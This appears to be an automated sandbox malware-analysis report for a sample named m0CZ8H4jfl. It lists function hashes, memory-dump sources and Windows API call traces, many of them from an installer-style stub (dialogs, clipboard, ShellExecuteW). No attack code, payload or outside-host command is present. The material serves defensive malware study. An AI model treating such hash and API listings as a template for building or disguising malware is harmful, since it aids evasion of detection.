Instruction ID: 49dcce66406d6a62e0f5d01af04afd286f8dc03b2b64755f95a126e2cba63a6a
Opcode Fuzzy Hash: ad097771845757ed23a04546ab7528f9996c961d7ab80ae548bf3567764a1a1f
Instruction Fuzzy Hash: 18C19274E00218CFEB54DFA5D994BADBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533e0a5bed8b167c22ada5de2c953e0591a376fd010f18abfab65b549e16f10d
Instruction ID: 96118b9753ee9901917707407431670778338930730e01fe736a29aefe322e71
Opcode Fuzzy Hash: 533e0a5bed8b167c22ada5de2c953e0591a376fd010f18abfab65b549e16f10d
Instruction Fuzzy Hash: E0C19274E00218CFEB14DFA5D994B9DBBB2BF89300F1091A9D809AB355DB359E85CF50

Function 36AB5F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b68e8ac251f0895a7ca4597027bcf8c9325487ade676e6eab4b8b44a1da6ff0
Instruction ID: dd7c63ed9df1a83b80db5bb935a3c25bf82b49d021f2dbde6a08a10f9dc74795
Opcode Fuzzy Hash: 0b68e8ac251f0895a7ca4597027bcf8c9325487ade676e6eab4b8b44a1da6ff0
Instruction Fuzzy Hash: 7EC1A274E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF10

Function 36AB3F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 962e949b907a38d94905f2286592479bf05a8b53309af4075c2199a95f813129
Instruction ID: 52d19ca2ae75fc3bc04bcdee5ab70526829ec81779c789951bf0c6f18314f929
Opcode Fuzzy Hash: 962e949b907a38d94905f2286592479bf05a8b53309af4075c2199a95f813129
Instruction Fuzzy Hash: A4C18174E00218CFEB54DFA5D994BADBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB1CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0902b5e07d64ac72482a77a19c129f87bc72e16030d029fbe38177b21848bc87
Instruction ID: 3787c6fdbcd90664e659c38b370cf377ce7720050f5ce91d6b68e7582e456d14
Opcode Fuzzy Hash: 0902b5e07d64ac72482a77a19c129f87bc72e16030d029fbe38177b21848bc87
Instruction Fuzzy Hash: 1CC1A474E00218CFEB14DFA5D994BADBBB2BF89300F5081A9D809AB355DB355E85CF50

Function 36AB74C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18ea78d43e0599ded3fdfa7867c24ee8ff4f9510cc9226b17126903f18289e45
Instruction ID: d799b1ad6b9abe4091eafb9d620a19668a2610238ca28ba426d4f3eeaecf985f
Opcode Fuzzy Hash: 18ea78d43e0599ded3fdfa7867c24ee8ff4f9510cc9226b17126903f18289e45
Instruction Fuzzy Hash: 4EC1B274E00218CFEB14DFA5D994B9DBBB2BF89301F1080A9D809AB365DB359E85CF10

Function 36AB1400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85202bf227c1a762531a0b0c764705fb682e7f56950dfeda44cc3b1752c5003c
Instruction ID: 675cc03baf0f0e000193140c7748e157324512f116280592dd8f1e6f7545a2f1
Opcode Fuzzy Hash: 85202bf227c1a762531a0b0c764705fb682e7f56950dfeda44cc3b1752c5003c
Instruction Fuzzy Hash: 87C19274E00218CFEB54DFA5D994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 36AB6C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5018b4669103d1e4bed7509546a466db6b920cf018dc36d16dadb7e8b768245
Instruction ID: 7051620a00e1187874c190fd6515a46359817d271bb638bf6d0f6584d07fc8c8
Opcode Fuzzy Hash: b5018b4669103d1e4bed7509546a466db6b920cf018dc36d16dadb7e8b768245
Instruction Fuzzy Hash: CFC19374E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB4DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdb88d195d1f6aba0a81fd213294d1cdf2f117d733d35d6102144694a5a2fb4a
Instruction ID: e7b784cb2a58ffc83074bdc988f4aec3739f3e24f5c3c12c374c0c03bd5a6714
Opcode Fuzzy Hash: fdb88d195d1f6aba0a81fd213294d1cdf2f117d733d35d6102144694a5a2fb4a
Instruction Fuzzy Hash: F8C19174E00218CFEB14DFA5D994B9DBBB2BF89300F2081A9D819AB355DB359E85CF50

Function 36AB2560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e211a169f18f4ea2d8c43a178bf9cb642e5df503240273c59bf65ae658e374f8
Instruction ID: 40759d8b874c83d096f3e9d3187fa22bae3e2f155f088c13f1bf58d1d85b30b9
Opcode Fuzzy Hash: e211a169f18f4ea2d8c43a178bf9cb642e5df503240273c59bf65ae658e374f8
Instruction Fuzzy Hash: E3C1B274E00218CFEB14DFA5D994BADBBB2BF89300F1080A9D809AB355DB355E85CF54

Function 36AB5AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789d781b79309783290799625b927c53b0c84f9e536cc90cdcf9b95779742b18
Instruction ID: e656cba63c02a8034f6d29e4f1c81f523fc0a1e429de4f469447b72b10620fe1
Opcode Fuzzy Hash: 789d781b79309783290799625b927c53b0c84f9e536cc90cdcf9b95779742b18
Instruction Fuzzy Hash: D0C1A274E00218CFEB14DFA5D994B9DBBB2BF89300F2081A9D809AB355DB359E85CF10

Function 36AB5208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c11e01e8854f2f3e38c905acb48af3cbc958281221e98755c96738fde87f9f4
Instruction ID: 4b3bfa014403c645426fdae42f1158b71a378a3607d1d883aae8f3d40477c60b
Opcode Fuzzy Hash: 5c11e01e8854f2f3e38c905acb48af3cbc958281221e98755c96738fde87f9f4
Instruction Fuzzy Hash: BFC1A274E00218CFEB54DFA5D994B9DBBB2BF89301F1081A9D809AB355DB359E85CF10

Function 36AB3268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b9c904d58bc1bd24ce87d09f034438dd1ba0a89986c21093d2bee03f4906c0
Instruction ID: eb9684cefa1b4b8428cb89614c9ccc00e38d715f90f17e5980eb0748eae9c995
Opcode Fuzzy Hash: c8b9c904d58bc1bd24ce87d09f034438dd1ba0a89986c21093d2bee03f4906c0
Instruction Fuzzy Hash: 2BC19274E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB43C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cd621107af99333a978ed386c0acd5dea62049e9395db39d8b33aaf53c6bb0
Instruction ID: 40c55428963798952d86aa205a43fed3e42d106fd76418ed3e77d194c5a6550d
Opcode Fuzzy Hash: f1cd621107af99333a978ed386c0acd5dea62049e9395db39d8b33aaf53c6bb0
Instruction Fuzzy Hash: 8BC18174E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 36AB3B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a689ce27a0b2c62f2642dff74f98eaab1d0a94c6db28b3cfb844155b9fa79c6
Instruction ID: e8a90efe768c6eca3c7fc1ab6991536b23a86ad903de42f6ea4d4312263e74bf
Opcode Fuzzy Hash: 9a689ce27a0b2c62f2642dff74f98eaab1d0a94c6db28b3cfb844155b9fa79c6
Instruction Fuzzy Hash: 9AC19174E00218CFEB54DFA5D994B9DBBB2BF89300F1080A9D809AB365DB359E85CF50

Function 36AB4820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c038e4a98afaa14d9dbb2b4c1faaab463c1d6bea5960b5a02fda5f6641d9d400
Instruction ID: 3bee378e8557df5bd26246fe2e893a45d83035d7b024b020482d3283a14c7f7f
Opcode Fuzzy Hash: c038e4a98afaa14d9dbb2b4c1faaab463c1d6bea5960b5a02fda5f6641d9d400
Instruction Fuzzy Hash: 93C18174E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB365DB355E85CF50

Function 36AB7070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce6313e91399ac6729fccc1031fb3ae9c08fa641da7bcdbe009353fdc42a2df0
Instruction ID: 1c183637d610f80be3cc47f81e7b47ef78dcdc594e07037ae5f4b5d6da3e6211
Opcode Fuzzy Hash: ce6313e91399ac6729fccc1031fb3ae9c08fa641da7bcdbe009353fdc42a2df0
Instruction Fuzzy Hash: A7C19274E00218CFEB14DFA5D994B9DBBB2BF89301F1081A9D809AB365DB359E85CF50

Function 36AB1858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7877bfe4793f3acfa6ab2e88dd1483d905f9f11ce360406139c554b92f67194b
Instruction ID: c4d58d400355b71dfcdef910e00065d72c68c2cc7a46d398cd387470bee33e41
Opcode Fuzzy Hash: 7877bfe4793f3acfa6ab2e88dd1483d905f9f11ce360406139c554b92f67194b
Instruction Fuzzy Hash: E8C1A374E00218CFEB54DFA5D994B9DBBB2BF89300F1081A9D809AB355DB359E85CF50

Function 36AB29B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c653a77043501b39b7ab886a962549158f91e82ea30b96bb8ab0350eba45c220
Instruction ID: 73e00b3e905dc21ab1944b2612c715012a5635fc396e992048b35182fcabc5fe
Opcode Fuzzy Hash: c653a77043501b39b7ab886a962549158f91e82ea30b96bb8ab0350eba45c220
Instruction Fuzzy Hash: 39C1A374E00218CFEB54DFA5D954BADBBB2BF89300F1080A9D809AB355DB359E85CF54

Function 36AB2108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be35ee41ab1346e1def49e4f79ce8201347aa6f3fe7bf3433a0715abbb4545d
Instruction ID: a86ecc865fb50768f9f7925b2dd7fffb14327dd7fda91d75de26878cac55bf1c
Opcode Fuzzy Hash: 1be35ee41ab1346e1def49e4f79ce8201347aa6f3fe7bf3433a0715abbb4545d
Instruction Fuzzy Hash: 6EC1A374E00218CFEB14DFA5D994BADBBB2BF89300F1081A9D809AB355DB359E85CF54

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,?), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,?), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,?), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,?), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,?), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
open, xrefs: 004044C5
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

_Nb, xrefs: 00403A22, 00403A8A
RichEdit20W, xrefs: 00403AEA, 00403AF0
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd32, xrefs: 00403ADA
RichEd20, xrefs: 00403ACC
RichEdit, xrefs: 00403AF9
.exe, xrefs: 004039AC

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

